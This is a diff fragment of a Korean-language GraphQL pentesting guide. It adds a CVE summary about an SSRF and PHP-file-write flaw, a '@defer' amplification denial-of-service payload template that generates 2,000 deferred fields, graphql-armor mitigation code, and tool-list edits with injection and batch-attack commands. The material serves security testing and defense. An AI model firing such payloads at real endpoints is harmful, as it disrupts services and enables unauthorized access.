+* 근본 원인: `createMediaItem` 변형이 공격자가 제어하는 **`filePath` URLs**를 허용하여 내부 네트워크 접근 및 파일 쓰기를 가능하게 했습니다.
+* 영향: 인증된 편집자/저자는 메타데이터 엔드포인트에 접근하거나 원격 코드 실행을 위한 PHP 파일을 쓸 수 있었습니다.
+
+---
+
+## 점진적 전달 남용: `@defer` / `@stream`
+2023년부터 대부분의 주요 서버(Apollo 4, GraphQL-Java 20+, HotChocolate 13)는 GraphQL-over-HTTP WG에서 정의한 **점진적 전달** 지시어를 구현했습니다. 모든 지연된 패치는 **별도의 청크**로 전송되므로 총 응답 크기는 *N + 1* (봉투 + 패치)로 증가합니다. 수천 개의 작은 지연 필드를 포함하는 쿼리는 따라서 큰 응답을 생성하면서 공격자에게는 단 하나의 요청만 소모하게 됩니다 – 고전적인 **증폭 DoS** 및 첫 번째 청크만 검사하는 본문 크기 WAF 규칙을 우회하는 방법입니다. WG 구성원들 스스로 이 위험을 지적했습니다.
+
+예시 페이로드로 2,000개의 패치를 생성:
+```graphql
+query abuse {
+% for i in range(0,2000):
+f{{i}}: __typename @defer
+% endfor
+}
+```
+Mitigation: `@defer/@stream`를 프로덕션에서 비활성화하거나 `max_patches`, 누적 `max_bytes` 및 실행 시간을 강제합니다. **graphql-armor**와 같은 라이브러리는 이미 합리적인 기본값을 강제합니다.
+
+---
+
+## 방어 미들웨어 (2024+)
+
+| 프로젝트 | 노트 |
+|---|---|
+| **graphql-armor** | Escape Tech에서 발표한 Node/TypeScript 검증 미들웨어. 쿼리 깊이, 별칭/필드/지시문 수, 토큰 및 비용에 대한 플러그 앤 플레이 제한을 구현하며, Apollo Server, GraphQL Yoga/Envelop, Helix 등과 호환됩니다. |
+
+빠른 시작:
+```ts
+import { protect } from '@escape.tech/graphql-armor';
+import { applyMiddleware } from 'graphql-middleware';
+
+const protectedSchema = applyMiddleware(schema, ...protect());
+```
+`graphql-armor`는 이제 지나치게 깊거나 복잡하거나 지시문이 많은 쿼리를 차단하여 위의 CVE로부터 보호합니다.
+
+---
+
## 도구
### 취약점 스캐너
@@ -553,15 +616,15 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql 엔드포인트의 일반적인 잘못된 구성 테스트
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식
-- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트.
+- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 주어진 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용 가능하며 공격 자동화: `python3 graphqlmap.py -u http://example.com/graphql --inject`
-- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**.
+- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 주어진 유형에 도달하는 다양한 방법을 나열하는 도구**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 또는 파이썬 스크립트. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**Attacker**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 경우에도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다.
-### 일반적인 취약점을 악용하기 위한 스크립트
+### 일반 취약점을 악용하기 위한 스크립트
- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): 취약한 graphql 환경에서 서비스 거부 취약점을 악용하기 위한 스크립트 모음.
@@ -578,7 +641,7 @@ https://graphql-dashboard.herokuapp.com/
- AutoGraphQL을 설명하는 비디오: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
-## 참고 문헌
+## 참고자료
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
@@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
+- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
+- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}